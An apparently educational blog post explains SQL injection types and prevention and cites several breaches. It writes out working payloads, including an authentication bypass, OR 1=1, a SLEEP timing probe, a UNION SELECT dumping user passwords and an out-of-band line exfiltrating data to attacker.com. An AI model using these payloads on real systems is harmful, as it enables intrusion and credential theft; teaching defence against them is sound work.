Imagine if someone could access an entire website’s database just by typing a few characters into a login form. Scary, right? That’s exactly what SQL Injection (SQLi) allows attackers to do.
SQLi is one of the most dangerous web application vulnerabilities, allowing hackers to bypass authentication, steal sensitive data, modify databases, and even take full control of a system. In this blog, we’ll explore how SQL Injection works, real-world examples, and how to prevent it.
What Is SQL Injection?
SQL Injection is a code injection attack where an attacker manipulates an application’s SQL queries by inserting malicious SQL code into input fields. If a web application doesn’t properly validate user inputs, attackers can inject SQL commands to:
Bypass authentication (log in as an admin without credentials)
Dump entire databases (steal user credentials, credit card info, etc.)
Modify or delete data (change prices, erase records, etc.)
Execute system commands (in advanced cases, leading to full server compromise)
SQLi is ranked in the OWASP Top 10 as a critical vulnerability and has been responsible for some of the biggest data breaches in history.
Types of SQL Injection Attacks
SQL Injection comes in several forms, depending on how the application processes SQL queries.
1. Classic SQL Injection (Error-Based SQLi)
Attack Scenario:
A website login form uses an insecure SQL query like this:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123';An attacker enters:
Username: admin'-- Password:(anything)This modifies the query to:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password123';The -- is a SQL comment that ignores everything after it. Now, the query only checks if "admin" exists, effectively bypassing authentication without needing a password.
Real-World Case:
Sony PlayStation Network Breach (2011): Attackers used SQLi to steal data from 77 million users.
2. Blind SQL Injection
Attack Scenario:
The application doesn’t display errors but behaves differently based on SQL injection attempts.
Attackers use Boolean-based or Time-based SQLi to infer database information.
Boolean-Based SQLi
An attacker tries:
' OR 1=1 --If the login succeeds, it confirms the query executed. If it fails, the attacker tweaks the payload.
Time-Based SQLi
An attacker injects:
' OR IF(1=1, SLEEP(5), 0) --If the server delays the response for 5 seconds, the attacker knows the condition was true.
Real-World Case:
Tesla Vulnerability (2014): A researcher found a Blind SQLi flaw that could have exposed user data.
3. UNION-Based SQL Injection
Attack Scenario:
The attacker uses the UNION SQL operator to merge multiple query results and extract data from other tables.
An attacker enters:
' UNION SELECT username, password FROM users --This merges data from the users table into the query response, revealing usernames and passwords.
Real-World Case:
Yahoo! SQL Injection Attack (2012): Hackers stole 453,000 login credentials using a UNION-based SQLi.
4. Out-of-Band SQL Injection
Attack Scenario:
Instead of returning data in the response, attackers use database functions to exfiltrate data via DNS requests or HTTP requests.
An attacker enters
' UNION SELECT load_file('\\\\attacker.com\\data') --This makes the database connect to attacker.com and send stolen data.
Real-World Case:
MS SQL Server Exploit (2019): Attackers used Out-of-Band SQLi to exfiltrate data using DNS tunneling.
How to Prevent SQL Injection
1. Use Prepared Statements & Parameterized Queries
Parameterized queries ensure user inputs are treated as data, not code.
User inputs remain strings, not executable SQL.
2. Input Validation & Whitelisting
Reject special characters like ', --, ;, and " in inputs unless required.
Allow only expected values (e.g., numbers for IDs, predefined choices for drop-down)
3. Least Privilege Database Access
Use separate database users with minimal privileges.
The web application user should have read-only access, not full control.
4. Web Application Firewalls (WAFs)
Deploy a WAF like ModSecurity to block common SQLi payloads.
5. Regular Security Testing
Automate vulnerability scanning with tools like SQLmap and Burp Suite.
Perform manual penetration testing for complex SQLi cases.
SQL Injection is a critical security risk that can lead to data breaches, financial loss, and reputational damage. However, implementing secure coding practices, input validation, and database security controls can prevent SQLi attacks effectively.
By treating user input as untrusted data, using prepared statements, and regularly testing for vulnerabilities, developers can protect applications from this classic yet deadly attack.
Stay secure, write safe queries, and keep hackers out of your databases!
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-AJ
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